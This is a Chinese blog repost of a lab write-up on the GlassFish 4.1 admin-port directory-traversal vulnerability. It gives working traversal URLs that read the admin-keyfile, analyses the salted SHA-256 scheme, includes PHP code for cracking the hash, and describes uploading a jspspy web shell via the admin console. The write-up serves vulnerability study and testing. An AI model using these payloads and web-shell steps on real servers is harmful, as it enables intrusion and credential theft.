安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】GlassFish 目录穿越漏洞测试过程

这是一个2015年的老漏洞,由于我最近在学习相关的知识,所以拿出来温习一下。


搭建测试环境


vulhub( https://github.com/phith0n/vulhub )是我学习各种漏洞的同时,创建的一个开源项目,旨在通过简单的两条命令,编译、运行一个完整的漏洞测试环境。

如何拉取项目、安装docker和docker-compose我就不多说了,详见vulhub项目主页。来到GlassFish这个漏洞的详细页面 https://github.com/phith0n/vulhub/tree/master/glassfish/4.1.0 ,可以查看一些简要说明。

在主机上拉取vulhub项目后,进入该目录,执行docker-compose build和docker-compose up -d两条命令,即可启动整个环境。

本测试环境默认对外开放两个端口:8080和4848。8080是web应用端口,4848是管理GlassFish的端口,漏洞出现在4848端口下,但无需登录管理员账号即可触发。


文件读取漏洞利用


漏洞原理与利用方法 https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904 。利用该目录穿越漏洞,可以列目录以及读取任意文件:

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

http://p2.qhimg.com/t01f6beba5c4be29374.jpg

glassfish/domains/domain1/config/admin-keyfile是储存admin账号密码的文件,如上图,我们通过读取这个文件,拿到超级管理员的密码哈希。(说明一下,这个测试环境启动前,我通过修改docker-compose.yml,将超级管理员的密码改为了123456)


密码加密方式?


可见,我们读到的密码是一串base64编码后的字符串,并且得到一个关键字:ssha256,这种“加密”方法可能和sha256有关。但,使用echo strlen(base64_decode(…));这个方式将上述base64字符串解码后测量长度,发现长为40字节。

我们知道,常见的哈希算法,md5长度为16字节,sha1长度为20字节,sha256长度为32字节,sha512长度为64字节,并没有长度为40字节的哈希算法呀?

很明显,SSHA256里应该掺杂有其他字符。

所以,我们需要研究研究GlassFish源码。官网有SVN,但下载速度太慢。我们可以上Github下载打包好的源码 https://github.com/dmatej/Glassfish/archive/master.zip (不过这个源码比较老了)

下载以后发现,压缩包竟然都有1个多G,在如此大的代码中,找一个哈希算法,真的不容易。不过在费尽千辛万苦后我还是找到了负责计算哈希的类:SSHA。

https://github.com/dmatej/Glassfish/blob/master/main/nucleus/common/common-util/src/main/java/org/glassfish/security/common/SSHA.java

这个类有两个比较重要的方法,encode和compute。compute负责对明文进行哈希计算,encode负责将前者的计算结果编码成base64。


encode函数分析


先从简单的来,encode函数:

public static String encode(byte[] salt, byte[] hash, String algo){       
    boolean isSHA = false;
    if (algoSHA.equals(algo)) {
        isSHA = true;
    }
    if (!isSHA) {
        assert (hash.length == 32);
    } else {
        assert (hash.length == 20);
    }
    int resultLength = 32;
    if (isSHA) {
        resultLength = 20;
    }
    byte[] res = new byte[resultLength+salt.length];
    System.arraycopy(hash, 0, res, 0, resultLength);
    System.arraycopy(salt, 0, res, resultLength, salt.length);
    GFBase64Encoder encoder = new GFBase64Encoder();
    String encoded = encoder.encode(res);
    String out = SSHA_256_TAG + encoded;
    if(isSHA) {
        out = SSHA_TAG + encoded;
    }
    return out;}

可见,该函数兼容两种哈希算法,isSHA表示的是长度为20字节的sha1,!isSHA表示的长度为32字节的sha256。

根据我们通过文件读取漏洞得到的哈希长度和SSHA256这个关键词,我可以100%推测该哈希是sha256。看到System.arraycopy(salt, 0, res, resultLength, salt.length);这一行我就明白了:为什么我们读取到的哈希长度是40字节?

因为还有8字节是salt。整个算法大概是这样:

base64_encode( hash( 明文, SALT ) + SALT )

hash结果是32字节,salt长度8字节,将两者拼接后base64编码,最终得到我们读取到的那个哈希值。

注意,上述所有的算法都是“raw data”。我们平时看到的a356f21e901b…这样的哈希结果是经过了hex编码的,本文不涉及任何hex编码。


compute函数分析


再来分析一下复杂一点的函数compute:

public static byte[] compute(byte[] salt, byte[] password, String algo)
    throws IllegalArgumentException{
    byte[] buff = new byte[password.length + salt.length];
    System.arraycopy(password, 0, buff, 0, password.length);
    System.arraycopy(salt, 0, buff, password.length, salt.length);
    byte[] hash = null;
    boolean isSHA = false;
    if(algoSHA.equals(algo)) {
        isSHA = true;
    }
    MessageDigest md = null;
    try {
        md = MessageDigest.getInstance(algo);
    } catch (Exception e) {
        throw new IllegalArgumentException(e);
    }
    assert (md != null);
    md.reset();
    hash = md.digest(buff);
    if (!isSHA) {
        for (int i = 2; i <= 100; i++) {
            md.reset();
            md.update(hash);
            hash = md.digest();
        }
    }    
    if (isSHA) {
        assert (hash.length == 20); // SHA output is 20 bytes
    }
    else {
        assert (hash.length == 32); //SHA-256 output is 32 bytes
    }
    return hash;}

这个函数接受三个参数:SALT、明文和算法。其主要过程如下:

1. 拼接明文和SALT,组成一个新的字符序列BUFF

2. 计算BUFF的哈希结果

3. 如果哈希算法是sha256,则再计算99次哈希结果,前一次的计算结果是下一次计算的参数

将整个过程翻译成PHP代码以方便理解与测试:

<?php$algo = 'sha256';$e = $plain . $salt;$data = hash($algo, $e, true);if ($algo == 'sha256') {
    for ($i = 2; $i <= 100; $i++) {
        $data = hash($algo, $data, true);
    }}echo base64_encode($data . $salt);


破解密码


测试一下我的代码是否正确。首先通过任意文件读取漏洞读取到目标服务器密文是{SSHA256}52bI8VDr9aLll3hQHhJS/45141bDudXHDMyFx97dBzL9wVu03KQDtw==,将其进行base64解码后,拿到末尾8个字节,是为salt,值为\xfd\xc1\x5b\xb4\xdc\xa4\x03\xb7。

填入php代码中,计算明文123456的结果:

http://p8.qhimg.com/t01eeec2c52f71ebc8f.jpg

可见,计算结果和我通过漏洞读取的结果一致,说明计算过程没有问题。

不过我简单看了一下,hashcat并不支持这种哈希算法,所以如果需要破解密文的话,估计得自己编写相关破解的代码了。好在算法并不难,直接使用我给出的实例代码,循环跑字典即可。


Getshell


破解了密码,进入GlassFish后台,是可以直接getshell的。

点击Applications,右边的deploy:

http://p7.qhimg.com/t015db295e222c980ca.png

部署一个新应用,直接上传war包(附件中给一个测试环境java1.8能使用的包,网上找的老版本jspspy,加上自己改了一下兼容性,然后打包了。2016版的jspspy我没找着,该jspspy不能保证没有后门):

http://p9.qhimg.com/t01e019b5fb7d93e0e5.png

然后访问http://your-ip:8080/jspspy/jspspy.jsp即可,密码xxxxxx:

http://p1.qhimg.com/t01076d75cb512f902a.png


原文链接:https://www.leavesongs.com/PENETRATION/glassfish-arbitrary-file-reading-vulnerability.html

未经允许不得转载:安全路透社 » 【技术分享】GlassFish 目录穿越漏洞测试过程

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册